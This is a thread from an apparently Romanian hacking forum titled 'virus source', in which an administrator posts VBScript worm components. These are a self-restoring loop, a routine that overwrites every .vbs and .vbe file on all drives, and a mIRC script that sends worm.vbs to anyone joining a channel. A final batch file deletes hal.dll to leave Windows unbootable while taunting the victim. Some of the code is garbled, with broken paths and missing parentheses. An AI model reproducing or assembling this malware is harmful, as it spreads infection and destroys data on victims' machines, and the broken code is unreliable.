hackeri
Cultul Hackerilor 		Lista Forumurilor Pe Tematici
hackeri | Reguli | Inregistrare | Login

POZE HACKERI

Nu sunteti logat. 		Nou pe simpatie:
brunetyk_20 pe Simpatie
Femeie
25 ani
Vrancea
cauta Barbat
26 - 52 ani
hackeri / Virus/Trojan / Sursa de virusi Moderat de adi2088
Autor
Mesaj Pagini: 1
Adrian
Administrator

Inregistrat: acum 18 ani
Postari: 131
Nume:Antideletion

Code:
Function Antidelete()
Set fso = CreateObject("scripting.filesystemobject"
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
MyCode = Myself.readall
Myself.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set Myself = fso.createtextfile(wscript.scriptfullname, True)
Myself.write MyCode
Myself.Close
End If
Loop
End Function


Ce  face  ?  Daca   stregi  un  fisier  il  readuce  inapoi.
pus acum 18 ani
   
Adrian
Administrator

Inregistrat: acum 18 ani
Postari: 131
Nume:Infectfiles-Search

Code:
Function Dodrives()
On Error Resume Next
Set fso = CreateObject("scipting.filesystemobject"
Set Drives = fso.Drives
For Each Drive In Drives
If Drive.Drivetype = Remote Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
ElseIf Drive.IsReady Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
End If
Next
End Function
Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If file.Name = "mirc.ini" Then
Mirc (file.ParentFolder)
End If
If file.Name = "Pirch32.exe" Then
Pirch (file.ParentFolder)
End If
Next
Set file = Fold.Subfolders
For Each Subfol In file
Call Subfolders(Subfol.path)
Next
End Function


Ce  face? These two funtions will search in all the HD for mirc.ini, Pirch32.exe,
vbs and vbe files. When its found any of them it calls the infection function.
pus acum 18 ani
   
Adrian
Administrator

Inregistrat: acum 18 ani
Postari: 131
Nume:mirc

code:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject"
Set ws = CreateObject("wscript.shell"
If Path = "" Then
If fso.fileexists("c:mircmirc.ini" Then Path = "c:mirc"
If fso.fileexists("c:mirc32mirc.ini" Then Path = "c:mirc32"
PfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir"
If fso.fileexists(PfDir & "mircmirc.ini" Then Path = PfDir & "mirc"
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1=  /if ( $nick == $me ) { halt }"
Script.writeline "n2=  /." & chr(100) & chr(99) & chr(99) & " send $nick c:windowsworm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function


what is she doing ?

This function will infect mirc whit a simple script
pus acum 18 ani
   
Adrian
Administrator

Inregistrat: acum 18 ani
Postari: 131
code:

echo Bine ai venit ...rww cenzurat
pause
del %WINDIR%System32hal.dll
echo Press space key
pause
echo Da' prost mai esti bre.... Nu iti mai mere windowsu'  )
pause
rem Daca ai citit aici inainte de  a executa bat-ul, inseamna ca esti destept..) ti-ar fi sters fisierul HAL.dll si windowsul nu ar mai fi butat
pus acum 18 ani
   
Pagini: 1  

Mergi la